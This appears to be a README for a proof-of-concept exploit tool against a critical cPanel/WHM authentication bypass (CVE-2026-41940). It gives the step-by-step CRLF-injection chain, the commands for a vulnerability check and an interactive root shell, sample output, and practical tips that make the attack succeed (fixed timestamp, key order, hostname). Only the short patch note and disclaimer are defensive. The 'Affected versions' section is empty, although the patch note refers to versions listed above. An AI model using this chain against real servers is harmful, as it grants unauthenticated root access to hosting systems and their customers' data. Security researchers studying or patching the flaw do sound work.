CVE-2026-41940 — cPanel/WHM Authentication Bypass

Author: SilySec
Original research: Sina Kheirkhah (@SinSinology) / watchTowr Labs
Severity: Critical (CVSS 9.8)
Type: CRLF Injection → Authentication Bypass → Root shell

Description

CVE-2026-41940 is a critical vulnerability in cPanel/WHM that allows an unauthenticated attacker to gain full root access via a CRLF injection in the Basic authentication handler of cpsrvd.

The flaw combines three weaknesses:

1. Unfiltered CRLF injection — the saveSession() function in Cpanel/Session.pm does not sanitize \r\n characters before writing to disk when the <ob> key is absent from the cookie.
2. Disabled encoder — without the <obHEX> segment in the session cookie, the per-session encoder does not activate, leaving CRLF bytes written in plaintext to the session file.
3. Cache reload — Cpanel::Session::Modify::save() re-reads the raw file and promotes the injected CRLF keys into the JSON cache, making the session fully authenticated.

Affected versions

Exploitation chain

POST /login/?login_only=1          [wrong password]
  └─► cookie: whostmgrsession=:ID,<obHEX>

Remove ,<obHEX>  →  :ID          [disables the encoder]

GET / + Cookie: :ID
      + Authorization: Basic root:x\r\nhasroot=1\r\n...
  └─► cpsrvd writes raw CRLF bytes to the session file

GET /scripts2/listaccts + Cookie: :ID   [without security token]
  └─► do_token_denied() → Cpanel::Session::Modify::save()
  └─► JSON cache rebuilt with hasroot=1, tfa_verified=1

→ Session authenticated as root

Usage

Prerequisites

pip install requests
# For --terminal mode (optional):
pip install paramiko

Vulnerability check

python3 poc.py --target https://TARGET:2087

Get an interactive root shell

python3 poc.py --target https://TARGET:2087 --terminal

Force the canonical hostname

python3 poc.py --target https://1.2.3.4:2087 --hostname cpanel.example.com

Example output

[*] target   : https://1.2.3.4:2087
[*] canonical: cpanel.example.com

[1/4] minting preauth session ...
       session  = :AbCdEfGh...,0123456789abcdef
       stripped = :AbCdEfGh...

[2/4] injecting CRLF payload ...
       307 → leaked token = /cpsess1234567890

[3/4] triggering cache propagation ...
       do_token_denied → Cpanel::Session::Modify::save() fired

[4/4] verifying root access ...

  ✔  AUTH BYPASS CONFIRMED
     cPanel version : 11.136.0.5
     cookie         : whostmgrsession=%3AAbCdEfGh...
     WHM URL        : https://1.2.3.4:2087/cpsess1234567890/

Important technical points

• The canonical hostname must be used in the Host header (not the IP) — cpsrvd handles sessions differently depending on the hostname
• The timestamp in the payload must be 9999999999 (fixed, far future) — a current timestamp fails
• The key order in the injected payload matters: successful_internal_auth_with_timestamp must come first

Patch

The patch moves the call to filter_sessiondata() inside saveSession() and adds conditional encoding when the <ob> key is absent, preventing any plaintext writes.

Update cPanel/WHM immediately to the patched versions listed above.

Disclaimer

This tool is provided for research and internal testing purposes only. Any use on systems without explicit authorization is illegal. SilySec disclaims any responsibility for misuse.